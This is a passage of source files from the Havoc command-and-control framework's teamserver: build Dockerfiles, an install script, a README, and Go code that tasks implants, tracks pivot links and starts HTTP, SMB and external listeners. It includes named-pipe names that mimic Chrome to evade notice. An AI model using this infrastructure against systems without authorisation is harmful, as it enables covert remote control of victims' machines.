-f GA-Teamserver .' # Copy built Teamserver from container: # 'docker cp :/go/Build/bin/teamserver /host/path/target' # # Extras # Create Data storage for persistence # 'docker volume create havoc-teamserver-data' # Enter Container: # 'docker run exec -it bash' # ------------------------------------------------------------------------------ ARG GO_VERSION="1.19.1" FROM golang:${GO_VERSION} # ENV PATH=/root/.local/bin:$PATH ENV USER=root # RUN apt update \ && apt -y install \ alien \ debhelper \ devscripts \ golang-go \ nasm \ mingw-w64 \ dh-golang \ dh-make \ fakeroot \ pkg-config \ python3-all-dev \ python3-pip \ rpm \ sudo \ upx-ucl \ && pip install --upgrade jsonschema # # Copy over the client COPY . Build # # Pull the repo from Github #RUN git clone https://github.com/HavocFramework/Havoc # # Build the cloned repos copy of the Teamserver-Client RUN cd Build && make # # ------------------------------------------------------------------------------# # original @author Nicola Asuni # @copyright 2016-2022 Nicola Asuni - Tecnick.com LTD # @license MIT (see LICENSE) # @link https://github.com/tecnickcom/alldev # ------------------------------------------------------------------------------ ================================================ FILE: teamserver/Install.sh ================================================ #!/bin/bash if [ ! -d "dir/x86_64-w64-mingw32-cross" ]; then sudo apt -qq --yes install golang-go nasm mingw-w64 wget >/dev/null 2>&1 if [ ! -d "data" ]; then mkdir data fi if [ ! -f /tmp/mingw-musl-64.tgz ]; then wget https://musl.cc/x86_64-w64-mingw32-cross.tgz -q -O /tmp/mingw-musl-64.tgz fi tar zxf /tmp/mingw-musl-64.tgz -C data if [ ! -f /tmp/mingw-musl-32.tgz ]; then wget https://musl.cc/i686-w64-mingw32-cross.tgz -q -O /tmp/mingw-musl-32.tgz fi tar zxf /tmp/mingw-musl-32.tgz -C data fi ================================================ FILE: teamserver/README.md ================================================ # Havoc Teamserver Source code of Havoc teamserver. Written in Golang. ### Build the Teamserver - **Pre-requisites** 1. Go1.18 - **Native** - To build the Teamserver client locally, run the following command in this folder(`~/Havoc/Teamserver/`): 1. `make` - That's it! If it ran successfully to completion, you should now have a compiled binary ready for use in the `/bin` folder. - Example use with a prewritten profile: `sudo ./teamserver server --profile profiles/havoc.yaotl --verbose` - Example use with default profile: `sudo ./teamserver --default --verbose` - **Docker** - To build the Teamserver client using a local Docker container, run the following commands(assuming you have Docker installed): 1. Build the Dockerfile: * `sudo docker build -t havoc-teamserver -f Teamserver-Dockerfile .` 2. (Optional) Create a persistent data volume for the container: * `sudo docker volume create havoc-c2-data` 3. Run the container: * `sudo docker run -it -d -v havoc-c2-data:/data havoc-teamserver` - **Jenkins Docker** - We can also build the Teamserver binary using a pre-configured Jenkins Docker image. 1. From the parent folder(`Havoc`), run the following command to build the container: * `sudo docker build -t jenkins-havoc-teamserver -f JT-Dockerfile .`` 2. (Optionally) Create a persistent data volume for the container: * `sudo docker volume create havoc-cicd-c2-data` 2. Next, we want to run the container: * `sudo docker run -p8080:8080 -it -d -v havoc-cicd-c2-data:/data jenkins-havoc-teamserver` 3. We can now visit Jenkins at `localhost:8080` and create a Pipeline to build the Havoc Teamserver! * For a pre-done Groovy script, please see the `Havoc-Teamserver.groovy` in the `Assets` folder. ### Run the Teamserver - **Base:** - The teamserver can also be used directly: * `./teamserver -h` * `./teamserver server --profile profiles/havoc.yaotl -v` * `./teamserver server --default -v` - **Docker** - We can run the teamserver completely from within a container! 1. Build the container: * `sudo docker build -f Client-Dockerfile .` 2. Launch the container (be sure to change the port mapping to match your environment): * `sudo docker run -p40056:40056 -p 443:443 -it -d -v havoc-c2-data:/data jenkins-havoc-client` 3. Access the teamserver at `localhost:40056` using your Teamserver client. ================================================ FILE: teamserver/Teamserver-Dockerfile ================================================ # Havoc Teamserver Dockerfile # ------------------------------------------------------------------------------ # Commands for usage: # # Build image file: # 'docker build -t havoc-teamserver -f Teamserver-Dockerfile .' # (Optional) Create Data volume for persistence: # `docker volume create ` # Run Built Image file(`-d` for persistence): # 'docker run -ti -d -v havoc-teamserver-data:/data havoc-teamserver' # Copy built Teamserver from container: # 'docker cp :/go/Build/bin/teamserver /host/path/target' # # Run Built Teamserver from Docker container: # `docker run -p40056:40056 -p 443:443 -it -d -v havoc-c2-data:/data havoc-teamserver` # `docker exec -t "/go/Build/bin/teamserver"` # # Extras # Create Data storage for persistence # 'docker volume create havoc-teamserver-data' # Enter Container: # 'docker run exec -it bash' # ------------------------------------------------------------------------------ ARG GO_VERSION="1.19.1" FROM golang:${GO_VERSION} # ENV PATH=/root/.local/bin:$PATH ENV USER=root # RUN apt update \ && apt -y install \ alien \ debhelper \ devscripts \ golang-go \ nasm \ mingw-w64 \ dh-golang \ dh-make \ fakeroot \ pkg-config \ python3-all-dev \ python3-pip \ rpm \ sudo \ libcap2-bin \ upx-ucl \ && pip install --upgrade jsonschema # # Copy over the client #COPY . Build/ #RUN cd Build/ && make # # Pull the repo from Github RUN git clone https://github.com/HavocFramework/Havoc # # Build the cloned repos copy of the Teamserver-Client RUN cd Havoc/teamserver/ && chmod +x ./Install.sh && ./Install.sh && cd .. && make ts-build # # ------------------------------------------------------------------------------# # original @author Nicola Asuni # @copyright 2016-2022 Nicola Asuni - Tecnick.com LTD # @license MIT (see LICENSE) # @link https://github.com/tecnickcom/alldev # ------------------------------------------------------------------------------ ================================================ FILE: teamserver/cmd/client.go ================================================ package cmd import ( "github.com/spf13/cobra" "os" "os/exec" ) var CobraClient = &cobra.Command{ Use: "client", Short: "client command", SilenceUsage: true, RunE: func(cmd *cobra.Command, args []string) error { startMenu() client := exec.Command("client/Havoc", args...) client.Stdout = os.Stdout client.Stderr = os.Stderr if err := client.Run(); err != nil { return err } return nil }, } ================================================ FILE: teamserver/cmd/cmd.go ================================================ package cmd import ( "fmt" "os" "Havoc/cmd/server" "Havoc/pkg/colors" "github.com/spf13/cobra" ) var ( VersionNumber = "0.7" VersionName = "Bites The Dust" DatabasePath = "data/teamserver.db" HavocCli = &cobra.Command{ Use: "havoc", Short: fmt.Sprintf("Havoc Framework [Version: %v] [CodeName: %v]", VersionNumber, VersionName), SilenceUsage: true, RunE: teamserverFunc, } flags server.TeamserverFlags ) // init all flags func init() { HavocCli.CompletionOptions.DisableDefaultCmd = true // server flags CobraServer.Flags().SortFlags = false CobraServer.Flags().StringVarP(&flags.Server.Profile, "profile", "", "", "set havoc teamserver profile") CobraServer.Flags().BoolVarP(&flags.Server.Debug, "debug", "", false, "enable debug mode") CobraServer.Flags().BoolVarP(&flags.Server.DebugDev, "debug-dev", "", false, "enable debug mode for developers (compiles the agent with the debug mode/macro enabled)") CobraServer.Flags().BoolVarP(&flags.Server.SendLogs, "send-logs", "", false, "the agent will send logs over http(s) to the teamserver") CobraServer.Flags().BoolVarP(&flags.Server.Default, "default", "d", false, "uses default profile (overwrites --profile)") CobraServer.Flags().BoolVarP(&flags.Server.Verbose, "verbose", "v", false, "verbose messages") // add commands to the teamserver cli HavocCli.Flags().SortFlags = false HavocCli.AddCommand(CobraServer) HavocCli.AddCommand(CobraClient) } func teamserverFunc(cmd *cobra.Command, args []string) error { startMenu() if len(os.Args) <= 2 { err := cmd.Help() if err != nil { return err } os.Exit(0) } return nil } func startMenu() { fmt.Println(colors.Red(" _______ _______ _______ \n │\\ /│( ___ )│\\ /│( ___ )( ____ \\\n │ ) ( ││ ( ) ││ ) ( ││ ( ) ││ ( \\/\n │ (___) ││ (___) ││ │ │ ││ │ │ ││ │ \n │ ___ ││ ___ │( ( ) )│ │ │ ││ │ \n │ ( ) ││ ( ) │ \\ \\_/ / │ │ │ ││ │ \n │ ) ( ││ ) ( │ \\ / │ (___) ││ (____/\\\n │/ \\││/ \\│ \\_/ (_______)(_______/")) fmt.Println() fmt.Println(" ", colors.Red("pwn"), "and", colors.Blue("elevate"), "until it's done") fmt.Println() } ================================================ FILE: teamserver/cmd/server/agent.go ================================================ package server import ( "Havoc/pkg/logger" "encoding/json" "math/rand" "time" "fmt" "strconv" "Havoc/pkg/agent" "Havoc/pkg/events" "Havoc/pkg/packager" ) func (t *Teamserver) AgentUpdate(agent *agent.Agent) { err := t.DB.AgentUpdate(agent) if err != nil { logger.Error("Could not update agent: " + err.Error()) } } func (t *Teamserver) Died(Agent *agent.Agent) { Agent.Active = false t.UnlinkFromAll(Agent) t.EventAgentMark(Agent.NameID, "Dead") t.AgentUpdate(Agent) } func (t *Teamserver) UnlinkFromAll(Agent *agent.Agent) { // remove all links from agent for i := range Agent.Pivots.Links { t.LinkRemove(Agent, Agent.Pivots.Links[i], false) Agent.Pivots.Links = append(Agent.Pivots.Links[:i], Agent.Pivots.Links[i+1:]...) } // remove agent from parent's link for _, ParentAgent := range t.Agents.Agents { if ParentAgent.NameID == Agent.NameID { continue } for i := range ParentAgent.Pivots.Links { if ParentAgent.Pivots.Links[i].NameID == Agent.NameID { t.LinkRemove(ParentAgent, Agent, false) ParentAgent.Pivots.Links = append(ParentAgent.Pivots.Links[:i], ParentAgent.Pivots.Links[i+1:]...) break } } } } func (t *Teamserver) ParentOf(Agent *agent.Agent) (int, error) { var AgentID, _ = strconv.ParseInt(Agent.NameID, 16, 64) ID, err := t.DB.ParentOf(int(AgentID)) return ID, err } func (t *Teamserver) LinksOf(Agent *agent.Agent) []int { var AgentID, _ = strconv.ParseInt(Agent.NameID, 16, 64) return t.DB.LinksOf(int(AgentID)) } func (t *Teamserver) LinkAdd(ParentAgent *agent.Agent, LinkAgent *agent.Agent) error { var ParentAgentID, _ = strconv.ParseInt(ParentAgent.NameID, 16, 64) var LinkAgentID, _ = strconv.ParseInt(LinkAgent.NameID, 16, 64) err := t.DB.LinkAdd(int(ParentAgentID), int(LinkAgentID)) if err != nil { logger.Error("Could not add link to database: " + err.Error()) } return nil } func (t *Teamserver) LinkRemove(ParentAgent *agent.Agent, LinkAgent *agent.Agent, UpdateLinks bool) { var ParentAgentID, _ = strconv.ParseInt(ParentAgent.NameID, 16, 64) var LinkAgentID, _ = strconv.ParseInt(LinkAgent.NameID, 16, 64) LinkAgent.Active = false LinkAgent.Reason = "Disconnected" if UpdateLinks { for i := range ParentAgent.Pivots.Links { if ParentAgent.Pivots.Links[i].NameID == LinkAgent.NameID { ParentAgent.Pivots.Links = append(ParentAgent.Pivots.Links[:i], ParentAgent.Pivots.Links[i+1:]...) break } } } err := t.DB.LinkRemove(int(ParentAgentID), int(LinkAgentID)) if err != nil { logger.Error("Could not remove link to database: " + err.Error()) } t.AgentUpdate(LinkAgent) } func (t *Teamserver) AgentHasDied(Agent *agent.Agent) bool { var AgentID, _ = strconv.ParseInt(Agent.NameID, 16, 64) return t.DB.AgentHasDied(int(AgentID)) } func (t *Teamserver) AgentAdd(Agent *agent.Agent) []*agent.Agent { if Agent != nil { if t.WebHooks != nil { t.WebHooks.NewAgent(Agent.ToMap()) } } err := t.DB.AgentAdd(Agent) if err != nil { logger.Error("Could not add agent to database: " + err.Error()) } return t.Agents.AgentsAppend(Agent) } func (t *Teamserver) AgentSendNotify(Agent *agent.Agent) { var pk packager.Package /* create a new agent package */ pk = t.EventNewDemon(Agent) /* append the new agent event */ t.EventAppend(pk) /* send it to every connected client */ t.EventBroadcast("", pk) } func (t *Teamserver) AgentCallbackSize(DemonInstance *agent.Agent, i int) { var ( Message = make(map[string]string) pk packager.Package ) Message["Type"] = "Good" Message["Message"] = fmt.Sprintf("Send Task to Agent [%v bytes]", i) OutputJson, _ := json.Marshal(Message) pk = events.Demons.DemonOutput(DemonInstance.NameID, agent.HAVOC_CONSOLE_MESSAGE, string(OutputJson)) t.EventAppend(pk) t.EventBroadcast("", pk) } func (t *Teamserver) AgentInstance(AgentID int) *agent.Agent { for _, demon := range t.Agents.Agents { var NameID, _ = strconv.ParseInt(demon.NameID, 16, 64) if AgentID == int(NameID) { return demon } } return nil } func (t *Teamserver) AgentLastTimeCalled(AgentID string, LastCallback string, Sleep int, Jitter int, KillDate int64, WorkingHours int32) { var ( Output = map[string]string{ "Last": LastCallback, "Sleep": fmt.Sprintf("%d", Sleep), "Jitter": fmt.Sprintf("%d", Jitter), "KillDate": fmt.Sprintf("%d", KillDate), "WorkingHours": fmt.Sprintf("%d", WorkingHours), } out, _ = json.Marshal(Output) pk = events.Demons.DemonOutput(AgentID, agent.COMMAND_NOJOB, string(out)) ) t.EventBroadcast("", pk) } func (t *Teamserver) AgentExist(AgentID int) bool { for _, demon := range t.Agents.Agents { var NameID, err = strconv.ParseInt(demon.NameID, 16, 64) if err != nil { logger.Debug("Failed to convert demon.NameID to int: " + err.Error()) return false } if AgentID == int(NameID) { return true } } return false } func (t *Teamserver) AgentConsole(AgentID string, CommandID int, Output map[string]string) { var ( out, _ = json.Marshal(Output) pk = events.Demons.DemonOutput(AgentID, CommandID, string(out)) ) t.EventAppend(pk) t.EventBroadcast("", pk) } func (t *Teamserver) PythonModuleCallback(ClientID string, AgentID string, CommandID int, Output map[string]string) { var ( out, _ = json.Marshal(Output) pk = events.Demons.DemonOutput(AgentID, CommandID, string(out)) ) err := t.SendEvent(ClientID, pk) if err != nil { logger.Error("SendEvent error: ", err) } } func (t *Teamserver) AgentCallback(DemonID string, Time string) { var ( Output = map[string]string{ "Output": Time, } out, _ = json.Marshal(Output) pk = events.Demons.DemonOutput(DemonID, agent.COMMAND_NOJOB, string(out)) ) t.EventBroadcast("", pk) } func (t *Teamserver) SendLogs() bool { return t.Flags.Server.SendLogs } func (t *Teamserver) GetDotNetPipeTemplate() string { PipeTemplate := t.Profile.Config.Demon.DotNetNamePipe // https://gist.github.com/realoriginal/d9178c9b071707fec2d6de89a63e4709 PipeTemplates := []string{ "Winsock2\\\\CatalogChangeListener-$#-0", "mojo.{pid}.{tid}.####################", "crashpad_{pid}_@@@@@@@@@@@@@@@@", "chrome.sync.{pid}.{tid}.########", } if PipeTemplate == "" { rand.Seed(time.Now().UnixNano()) index := rand.Intn(len(PipeTemplates)) PipeTemplate = PipeTemplates[index] } return PipeTemplate } ================================================ FILE: teamserver/cmd/server/dispatch.go ================================================ package server import ( "encoding/json" "errors" "fmt" "strconv" "strings" "time" "Havoc/pkg/agent" "Havoc/pkg/common/builder" "Havoc/pkg/events" "Havoc/pkg/handlers" "Havoc/pkg/logger" "Havoc/pkg/logr" "Havoc/pkg/packager" ) func (t *Teamserver) DispatchEvent(pk packager.Package) { switch pk.Head.Event { case packager.Type.Session.Type: switch pk.Body.SubEvent { case packager.Type.Session.MarkAsDead: if AgentID, ok := pk.Body.Info["AgentID"]; ok { for i := range t.Agents.Agents { if t.Agents.Agents[i].NameID == AgentID { if val, ok := pk.Body.Info["Marked"]; ok { if val == "Dead" { t.Died(t.Agents.Agents[i]) } else if val == "Alive" { t.Agents.Agents[i].Active = true } t.AgentUpdate(t.Agents.Agents[i]) } } } } break case packager.Type.Session.Input: var ( job *agent.Job command = 0 AgentType = "Demon" err error DemonID string found = false ) if agentID, ok := pk.Body.Info["DemonID"].(string); ok { DemonID = agentID } else { logger.Debug("AgentID [" + agentID + "] not found") return } for i := range t.Agents.Agents { if t.Agents.Agents[i].NameID == DemonID { found = true // handle demon session input // TODO: maybe move to own function ? if t.Agents.Agents[i].Info.MagicValue == agent.DEMON_MAGIC_VALUE { var ( Message = new(map[string]string) Console = func(AgentID string, Message map[string]string) { var ( out, _ = json.Marshal(Message) pk = events.Demons.DemonOutput(DemonID, agent.HAVOC_CONSOLE_MESSAGE, string(out)) ) t.EventAppend(pk) t.EventBroadcast("", pk) } ) if val, ok := pk.Body.Info["CommandID"]; ok { if pk.Body.Info["CommandID"] == "Python Plugin" { // TODO: move to own function. logr.LogrInstance.AddAgentInput("Demon", pk.Body.Info["DemonID"].(string), pk.Head.User, pk.Body.Info["TaskID"].(string), pk.Body.Info["CommandLine"].(string), time.Now().UTC().Format("02/01/2006 15:04:05")) if pk.Head.OneTime == "true" { return } var backups = map[string]interface{}{ "TaskID": pk.Body.Info["TaskID"].(string), "DemonID": DemonID, "CommandID": "", "CommandLine": pk.Body.Info["CommandLine"].(string), "AgentType": AgentType, } if _, ok := pk.Body.Info["CommandID"].(string); ok { backups["CommandID"] = pk.Body.Info["CommandID"] } if _, ok := pk.Body.Info["TaskMessage"].(string); ok { backups["TaskMessage"] = pk.Body.Info["TaskMessage"] } for k := range pk.Body.Info { delete(pk.Body.Info, k) } pk.Body.Info = backups t.EventAppend(pk) t.EventBroadcast(pk.Head.User, pk) return } else if pk.Body.Info["CommandID"] == "Teamserver" { // TODO: move to own function. logr.LogrInstance.AddAgentInput("Demon", pk.Body.Info["DemonID"].(string), pk.Head.User, pk.Body.Info["TaskID"].(string), pk.Body.Info["CommandLine"].(string), time.Now().UTC().Format("02/01/2006 15:04:05")) var Command = pk.Body.Info["Command"].(string) if pk.Head.OneTime == "true" { return } var backups = map[string]interface{}{ "TaskID": pk.Body.Info["TaskID"].(string), "DemonID": DemonID, "CommandID": "", "CommandLine": pk.Body.Info["CommandLine"].(string), "AgentType": AgentType, } if _, ok := pk.Body.Info["CommandID"].(string); ok { backups["CommandID"] = pk.Body.Info["CommandID"] } for k := range pk.Body.Info { delete(pk.Body.Info, k) } pk.Body.Info = backups t.EventAppend(pk) t.EventBroadcast(pk.Head.User, pk) if err = t.Agents.Agents[i].TeamserverTaskPrepare(Command, Console); err != nil { Console(t.Agents.Agents[i].NameID, map[string]string{ "Type": "Error", "Message": "Failed to create Task: " + err.Error(), }) return } return } else { // TODO: move to own function. command, err = strconv.Atoi(val.(string)) if err != nil { logger.Error("Failed to convert CommandID to integer: " + err.Error()) command = 0 } else { *Message = make(map[string]string) var ClientID string ClientID = "" t.Clients.Range(func(key, value any) bool { client := value.(*Client) if client.Username == pk.Head.User { ClientID = client.ClientID return false } return true }) job, err = t.Agents.Agents[i].TaskPrepare(command, pk.Body.Info, Message, ClientID, t) if err != nil { Console(t.Agents.Agents[i].NameID, map[string]string{ "Type": "Error", "Message": "Failed to create Task: " + err.Error(), }) return } if job != nil { t.Agents.Agents[i].AddJobToQueue(*job) } if t.Agents.Agents[i].Pivots.Parent != nil { logr.LogrInstance.AddAgentInput("Demon", t.Agents.Agents[i].NameID, pk.Head.User, pk.Body.Info["TaskID"].(string), pk.Body.Info["CommandLine"].(string), time.Now().UTC().Format("02/01/2006 15:04:05")) } else { logr.LogrInstance.AddAgentInput("Demon", pk.Body.Info["DemonID"].(string), pk.Head.User, pk.Body.Info["TaskID"].(string), pk.Body.Info["CommandLine"].(string), time.Now().UTC().Format("02/01/2006 15:04:05")) } if pk.Head.OneTime == "true" { return } var backups = map[string]interface{}{ "TaskID": pk.Body.Info["TaskID"].(string), "DemonID": DemonID, "CommandID": "", "CommandLine": pk.Body.Info["CommandLine"].(string), "AgentType": AgentType, } if _, ok := pk.Body.Info["CommandID"].(string); ok { backups["CommandID"] = pk.Body.Info["CommandID"] } for k := range pk.Body.Info { delete(pk.Body.Info, k) } pk.Body.Info = backups t.EventAppend(pk) t.EventBroadcast(pk.Head.User, pk) if Message != nil { Console(t.Agents.Agents[i].NameID, *Message) } return } } } } else { for _, a := range t.Service.Agents { if a.MagicValue == fmt.Sprintf("0x%x", t.Agents.Agents[i].Info.MagicValue) { // Set agent type AgentType = a.Name if pk.Body.Info["CommandID"] == "Python Plugin" { logr.LogrInstance.AddAgentInput(AgentType, pk.Body.Info["DemonID"].(string), pk.Head.User, pk.Body.Info["TaskID"].(string), pk.Body.Info["CommandLine"].(string), time.Now().UTC().Format("02/01/2006 15:04:05")) if pk.Head.OneTime == "true" { return } var backups = map[string]interface{}{ "TaskID": pk.Body.Info["TaskID"].(string), "DemonID": DemonID, "CommandID": "", "CommandLine": pk.Body.Info["CommandLine"].(string), "AgentType": AgentType, } if _, ok := pk.Body.Info["CommandID"].(string); ok { backups["CommandID"] = pk.Body.Info["CommandID"] } if _, ok := pk.Body.Info["TaskMessage"].(string); ok { backups["TaskMessage"] = pk.Body.Info["TaskMessage"] } for k := range pk.Body.Info { delete(pk.Body.Info, k) } pk.Body.Info = backups t.EventAppend(pk) t.EventBroadcast(pk.Head.User, pk) return } else { // Send command to agent service a.SendTask(pk.Body.Info, t.Agents.Agents[i].ToMap()) // log agent input logr.LogrInstance.AddAgentInput(a.Name, pk.Body.Info["DemonID"].(string), pk.Head.User, pk.Body.Info["TaskID"].(string), pk.Body.Info["CommandLine"].(string), time.Now().UTC().Format("02/01/2006 15:04:05")) } } } } break } } if found == false { logger.Error(fmt.Sprintf("The AgentID %s was not found", DemonID)) return } if pk.Head.OneTime == "true" { return } var backups = map[string]interface{}{ "TaskID": pk.Body.Info["TaskID"].(string), "DemonID": DemonID, "CommandID": "", "CommandLine": pk.Body.Info["CommandLine"].(string), "AgentType": AgentType, } if _, ok := pk.Body.Info["CommandID"].(string); ok { backups["CommandID"] = pk.Body.Info["CommandID"] } for k := range pk.Body.Info { delete(pk.Body.Info, k) } pk.Body.Info = backups t.EventAppend(pk) t.EventBroadcast(pk.Head.User, pk) } case packager.Type.Chat.Type: switch pk.Body.SubEvent { case packager.Type.Chat.NewMessage: t.EventBroadcast("", pk) break case packager.Type.Chat.NewSession: t.EventBroadcast("", pk) break case packager.Type.Chat.NewListener: t.EventBroadcast("", pk) break } case packager.Type.Listener.Type: switch pk.Body.SubEvent { case packager.Type.Listener.Add: var Protocol = pk.Body.Info["Protocol"].(string) switch Protocol { case handlers.AGENT_HTTP, handlers.AGENT_HTTPS: var ( HostBind string Hosts []string Headers []string Uris []string ) HostBind = pk.Body.Info["HostBind"].(string) for _, s := range strings.Split(pk.Body.Info["Hosts"].(string), ", ") { if len(s) > 0 { Hosts = append(Hosts, s) } } for _, s := range strings.Split(pk.Body.Info["Headers"].(string), ", ") { if len(s) > 0 { Headers = append(Headers, s) } } for _, s := range strings.Split(pk.Body.Info["Uris"].(string), ", ") { if len(s) > 0 { Uris = append(Uris, s) } } var Config = handlers.HTTPConfig{ Name: pk.Body.Info["Name"].(string), Hosts: Hosts, HostBind: HostBind, HostRotation: pk.Body.Info["HostRotation"].(string), PortBind: pk.Body.Info["PortBind"].(string), PortConn: pk.Body.Info["PortConn"].(string), Headers: Headers, Uris: Uris, HostHeader: pk.Body.Info["HostHeader"].(string), UserAgent: pk.Body.Info["UserAgent"].(string), BehindRedir: t.Profile.Config.Demon.TrustXForwardedFor, } if val, ok := pk.Body.Info["Proxy Enabled"].(string); ok { Config.Proxy.Enabled = false if val == "true" { Config.Proxy.Enabled = true if val, ok = pk.Body.Info["Proxy Type"].(string); ok { Config.Proxy.Type = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy type not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) } if val, ok = pk.Body.Info["Proxy Host"].(string); ok { Config.Proxy.Host = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy host not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) } if val, ok = pk.Body.Info["Proxy Port"].(string); ok { Config.Proxy.Port = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy port not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) return } if val, ok = pk.Body.Info["Proxy Username"].(string); ok { Config.Proxy.Username = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy username not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) return } if val, ok = pk.Body.Info["Proxy Password"].(string); ok { Config.Proxy.Password = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy password not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) return } } } if pk.Body.Info["Secure"].(string) == "true" { Config.Secure = true } if err := t.ListenerStart(handlers.LISTENER_HTTP, Config); err != nil { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), err)) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) } break case handlers.AGENT_PIVOT_SMB: var ( SmdConfig handlers.SMBConfig found bool ) SmdConfig.Name, found = pk.Body.Info["Name"].(string) if !found { SmdConfig.Name = "" } SmdConfig.PipeName, found = pk.Body.Info["PipeName"].(string) if !found { SmdConfig.Name = "" } if err := t.ListenerStart(handlers.LISTENER_PIVOT_SMB, SmdConfig); err != nil { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), err)) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) } break case handlers.AGENT_EXTERNAL: var ( ExtConfig handlers.ExternalConfig found bool ) ExtConfig.Name, found = pk.Body.Info["Name"].(string) if !found { ExtConfig.Name = "" } ExtConfig.Endpoint, found = pk.Body.Info["Endpoint"].(string) if !found { logger.Error("Listener SMB Pivot: Endpoint not specified") return } if err := t.ListenerStart(handlers.LISTENER_EXTERNAL, ExtConfig); err != nil { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), err)) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) } break default: // check if the service endpoint is up and available if t.Service != nil { for _, listener := range t.Service.Listeners { if Protocol == listener.Name { var ( ListenerName string err error ) // retrieve the listener name if val, ok := pk.Body.Info["Name"]; ok { ListenerName = val.(string) } // try to start the listener. if err = listener.Start(pk.Body.Info); err != nil { t.EventListenerError(ListenerName, err) } // append the listener to the teamserver listener array t.Listeners = append(t.Listeners, &Listener{ Name: ListenerName, Type: handlers.LISTENER_SERVICE, Config: handlers.Service{ Service: listener, Info: pk.Body.Info, }, }) // break from this switch return } } } // didn't found the protocol type so just abort logger.Error("Listener Type not found: ", Protocol) break } break case packager.Type.Listener.Remove: if val, ok := pk.Body.Info["Name"]; ok { t.ListenerRemove(val.(string)) var p = events.Listener.ListenerRemove(val.(string)) t.EventAppend(p) t.EventBroadcast("", p) } break case packager.Type.Listener.Edit: var Protocol = pk.Body.Info["Protocol"].(string) switch Protocol { case handlers.AGENT_HTTP, handlers.AGENT_HTTPS: var ( HostBind string Hosts []string Headers []string Uris []string ) HostBind = pk.Body.Info["HostBind"].(string) for _, s := range strings.Split(pk.Body.Info["Hosts"].(string), ", ") { if len(s) > 0 { Hosts = append(Hosts, s) } } for _, s := range strings.Split(pk.Body.Info["Headers"].(string), ", ") { if len(s) > 0 { Headers = append(Headers, s) } } for _, s := range strings.Split(pk.Body.Info["Uris"].(string), ", ") { if len(s) > 0 { Uris = append(Uris, s) } } var Config = handlers.HTTPConfig{ Name: pk.Body.Info["Name"].(string), Hosts: Hosts, HostBind: HostBind, HostRotation: pk.Body.Info["HostRotation"].(string), PortBind: pk.Body.Info["PortBind"].(string), PortConn: pk.Body.Info["PortConn"].(string), Headers: Headers, Uris: Uris, HostHeader: pk.Body.Info["HostHeader"].(string), UserAgent: pk.Body.Info["UserAgent"].(string), } if val, ok := pk.Body.Info["Proxy Enabled"].(string); ok { Config.Proxy.Enabled = false if val == "true" { Config.Proxy.Enabled = true if val, ok = pk.Body.Info["Proxy Type"].(string); ok { Config.Proxy.Type = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy type not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) } if val, ok = pk.Body.Info["Proxy Host"].(string); ok { Config.Proxy.Host = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy host not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) } if val, ok = pk.Body.Info["Proxy Port"].(string); ok { Config.Proxy.Port = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy port not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) return } if val, ok = pk.Body.Info["Proxy Username"].(string); ok { Config.Proxy.Username = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy username not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) return } if val, ok = pk.Body.Info["Proxy Password"].(string); ok { Config.Proxy.Password = val } else { t.Clients.Range(func(key, value any) bool { id := key.(string) client := value.(*Client) if client.Username == pk.Head.User { err := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info["Name"].(string), errors.New("proxy password not specified"))) if err != nil { logger.Error("Failed to send Event: " + err.Error()) } return false } return true }) return } } } if pk.Body.Info["Secure"].(string) == "true" 